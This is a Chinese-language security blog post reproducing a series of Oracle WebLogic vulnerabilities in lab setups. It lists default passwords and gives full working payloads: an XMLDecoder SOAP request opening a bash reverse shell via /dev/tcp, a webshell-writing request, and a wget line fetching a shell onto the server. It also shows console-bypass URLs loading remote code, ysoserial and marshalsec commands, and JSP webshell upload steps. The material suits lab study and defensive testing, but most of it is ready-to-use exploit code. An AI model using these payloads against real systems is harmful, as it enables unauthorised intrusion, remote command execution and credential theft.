freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

weblogic相关漏洞复现
2022-03-05 18:26:54
所属地 广东省

弱口令

**版本:**全版本

常见账号密码搭配

system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123

密码破解

**版本:**全版本

假如目标环境有任意文件读取的漏洞,我们可以选择性地读取一些文件,由于weblogic使用AES加密(老版本3DES),所以是可以解密的,只需要找到加密时的用户密文和密钥即可,其均位于base_domain下,名为SerializedSystemIni.dat和config.xml,在本环境中为./security/SerializedSystemIni.dat和./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)所以我们可以读取这两个文件

SerializedSystemIni.dat

此文件是一个二进制文件,我这里用浏览器下载不到,而且据说使用浏览器读取会引入干扰字符,所以要采用Burpsuite来读取,在vulhub的环境中,/hello/file.jsp?path=设置了任意文件读取楼栋号,通过此漏洞来读取SerializedSystemIni.dat

读取了以后右键将其保存为文件

image.png

接着读取config.xml,加密后的管理员密码标签为<node-manager-password-encrypted>

image.png

{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=

接着使用工具将密文解密

xp3s/Decrypt_Weblogic_Password: 搜集了市面上绝大部分weblogic解密方式,整理了7种解密weblogic的方法及响应工具。 (github.com)

但是我解密的时候报错,正常应该会显示这个

image.png

任意文件上传漏洞(CVE-2018-2894)

**版本:**10.3.6,12.1.3,12.2.1.2,12.2.1.3

weblogic如果开启了web服务测试页(默认不开启),则分别会在/ws_utc/begin.do以及/ws_utc/config.do这两个页面存在任意上传getshell漏洞

由于该设置默认不开启,所以此漏洞有一定的局限性

/ws_utc/config.do

搭建好环境后首先先开启web服务测试页(Weblogic Web Service Test Page),但是经过测试,即使不开启也是可以访问/ws_utc/config.do页面的,但是还是先记录一下

开启设置,然后保存

image.png

接着打开/ws_utc/config.do

首先设置当前的工作目录为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

之所以设置这个目录,是因为这个目录为ws_utc应用的静态文件css目录,访问这个目录是无需权限的

image.png

接着点击安全,就可以吧文件上传到服务器上了

我这里上传了一个jsp木马,可以使用蚁剑连接

image.png

上传完后按F12打开源码,将id的值,也就是时间戳复制出来

image.png

然后访问路径:192.168.3.44:7001/ws_utc/css/config/keystore/1645430582722_shell.jsp

其中ip:7001/ws_utc/css/config/keystore/为固定路径,1645430582722为复制得到的时间戳,shell.jsp为上传文件的名字

image.png

/ws_utc/begin.do

ws_utc/begin.do我这里复现的不能直接未授权访问,具体原因不太清楚,不过文件上传的流程应该是没什么区别的

image.png

然后按F12打开审查元素,点击网络,再点击导入,然后查看响应包

构造链接:192.168.3.44:7001/ws_utc/css/upload/RS_Upload_2022-02-21_08-25-48_631/import_file_name_shell.jsp

image.png

image.png

SSRF(CVE-2014-4210)

**版本:**10.0.2,10.3.6

访问页面:http://192.168.3.45:7001/uddiexplorer/SearchPublicRegistries.jsp

image.png

抓包,点击search

通过修改operator的内容来观察探测结果

image.png

当探测的ip端口存在时会返回404状态码

image.png
当探测的ip端口不存在时就会显示不能连接

image.png

'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

版本:<=10.3.6.0,12.1.3.0.0,12.2.1.1.0

访问如下链接的其中一个,如存在一下页面则说明存在wls-wsat组件

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11


image.png

确认存在组件后使用burpsuite抓包,修改请求方式为POST和Content-Type:text/xml
image.png

然后添加poc,其中String修改为合适的目标,用nc反弹shell,于是payload就被修改为nc的命令

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.3.45/6666 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

使用nc设置好监听,然后发包

image.png

image.png

也可以通过此漏洞写shell,写入shell的位置在http://192.168.3.45:7001/bea_wls_internal/test.jsp

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

image.png

image.png

Weblogic反序列化远程代码执行(CVE-2019-2725)

**版本:**10.3.6.0.0、12.1.3.0.0

这个漏洞的复现过程和上面的差不多

漏洞页面:http://192.168.0.107:7001/_async/AsyncResponseService

接着抓包,改为POST方式提交,然后增加Content-Type:text/xml头

pauload:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/hello</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>


image.png

可以通过访问/_async/AsyncResponseService?info页面来查看如是用命令执行来上传文件的路径

image.png

上传文件命令

<string>wget http://x.x.x.x/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/1.jsp</string>

管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

一般登录控制台是访问/console并且登录后访问,登录后点击部署功能后显示的页面为

**版本:**10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

image.png

环境开启后访问http://192.168.3.45:7001/console/css/%252e%252e%252fconsole.portal,可以未授权访问控制台

image.png

但是点击部署功能是没有安装按钮的

image.png

所以这个时候就要用到第二个漏洞,CVE-2020-14883,这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。

利用com.tangosol.coherence.mvel2.sh.ShellSession

此方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类

http://192.168.3.45:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/hack');")


image.png

利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

此方法适用于任何版本的weblogic,约束在于我们需要构造一个xml文件,并保存在目标服务器(weblogic)可以访问到的地方

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/hack2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

image.png

让目标访问构造的恶意地址即可

http://192.168.3.45:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.3.45/shell.xml")

image.png

Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

WLS Core是其中的一个核心组件。攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。

**版本:**10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

所有的weblogic会开启T3服务,可以使用nmap来扫描服务是否开启

nmap -n -v -p 7001,7002 172.28.0.2 --script=weblogic-t3-info

image.png

接着使用ysoserial工具,创建一个JRMP Server

java -cp ./ysoserial-master.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
java -cp ./ysoserial-master.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections1 'touch /tmp/hackyou'

image.png

接着使用python脚本:Oracle Weblogic Server 10.3.6.0 / 12.1.3.0 / 12.2.1.2 / 12.2.1.3 - Deserialization Remote Command Execution - Multiple remote Exploit (exploit-db.com)

python exploit.py [target ip] [target port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
[target ip] [target port]为weblogic的ip和端口,[path to ysoserial]为ysoserial的路径,[JRMPListener ip] [JRMPListener port]为上一步启动的JRMP的ip和端口,[JRMPClient]为可选选项,为JRMPClient和JRMPClient2
python2 ./exploit.py 172.29.0.2 7001 /root/桌面/Tools/ysoserial-master.jar 192.168.3.45 6666 JRMPClient

测试后JRMPClient可以正常执行命令,而JRMPClient2测试则不是很行

image.png

image.png

weblogic iiop 反序列化漏洞(CVE-2020-2551)

这个漏洞没有复现成功,所以就记录一下过程

**版本:**10.3.6.0.0,12.1.3.0.0,12.2.1.3.0,12.2.1.4.0

工具:https://pan.baidu.com/s/1N9oW3PtJJpkGC-W-LkgW9A提取码:03vx

首先先把里面的exp.java编译了,编译前先修改文件里面的代码,确定要执行的命令

javac exp.java

image.png

接着启动一个http服务

python3 -m http.server 80

image.png

然后使用工具里面的marshalsec启动一个恶意的RMI服务

java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.3.45/#exp" 7777

image.png

最后使用工具攻击

java -jar ./weblogic_CVE_2020_2551.jar 172.18.0.2 7001 rmi://192.168.3.45:7777/exp

不过我这里报错了,没有执行命令

Weblogic反序列化 (CVE-2016-0638&CVE-2016-3510&CVE-2017-3248)

基于Weblogic t3协议引起远程代码执行的反序列化漏洞 漏洞实为CVE-2015-4852绕过

**CVE-2016-0638版本:**10.3.6、12.1.2、12.1.3、12.2.1

**CVE-2016-3510版本:**10.3.6.0、12.1.3.0 、12.2.1.0

**CVE-2017-3248版本:**12.1.2、12.1.2.0、12.1.3、12.1.3.0、12.2.1、12.2.1.0、12.2.1.1、12.2.1.2、10.3.6、10.3.6.0

关于此漏洞的信息比较少,大多数都是分析的,所以直接跑工具

选择的工具为:https://github.com/5up3rc/weblogic_cmd

直接用idea打开,项目是用java1.6写的,实测1.8也是可以跑,不过要配置一下,而且会报一些错,注释掉一些改掉一些即可

将项目导入到idea后新建运行配置,选择应用程序,选择主要类,然后再程序参数写入执行的命令

使用说明
-H 远程目标主机
-P 远程目标端口
-C 需要执行的命令
-T 可选的绕过方式
-U 删除绑定的rmi实例
-B 通过payload直接调用系统命令-针对没法回显的情况下使用
-os 指定目标操作系统
-https 使用tls的指定
-shell 以shell的方式展现
-upload 上传文件 需要配合-src -dst
-src 需要上传的文件路径
-dst 需要上传文件至目标的路径
-noExecPath 在某些没有/bin/bash 或者cmd.exe情况下使用

image.png

执行即可

image.png

也可以不使用-B参数,这样一来可以获取回显

image.png

WebLogic文件包含漏洞(CVE-2022-21371)

**版本:**12.1.3.0.0、12.2.1.3.0、12.2.1.4.0 、14.1.1.0.0

此漏洞似乎并非每一个weblogic都会存在

GET .//META-INF/MANIFEST.MF
GET .//WEB-INF/web.xml
GET .//WEB-INF/portlet.xml
GET .//WEB-INF/weblogic.xml

自动化扫描工具

工具地址:https://github.com/rabbitmask/WeblogicScan

使用方法

-u IP       target ip
-p PORT     target port
-f FILE     target list

image.png

# 渗透测试 # web安全 # weblogic # 漏洞复现
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录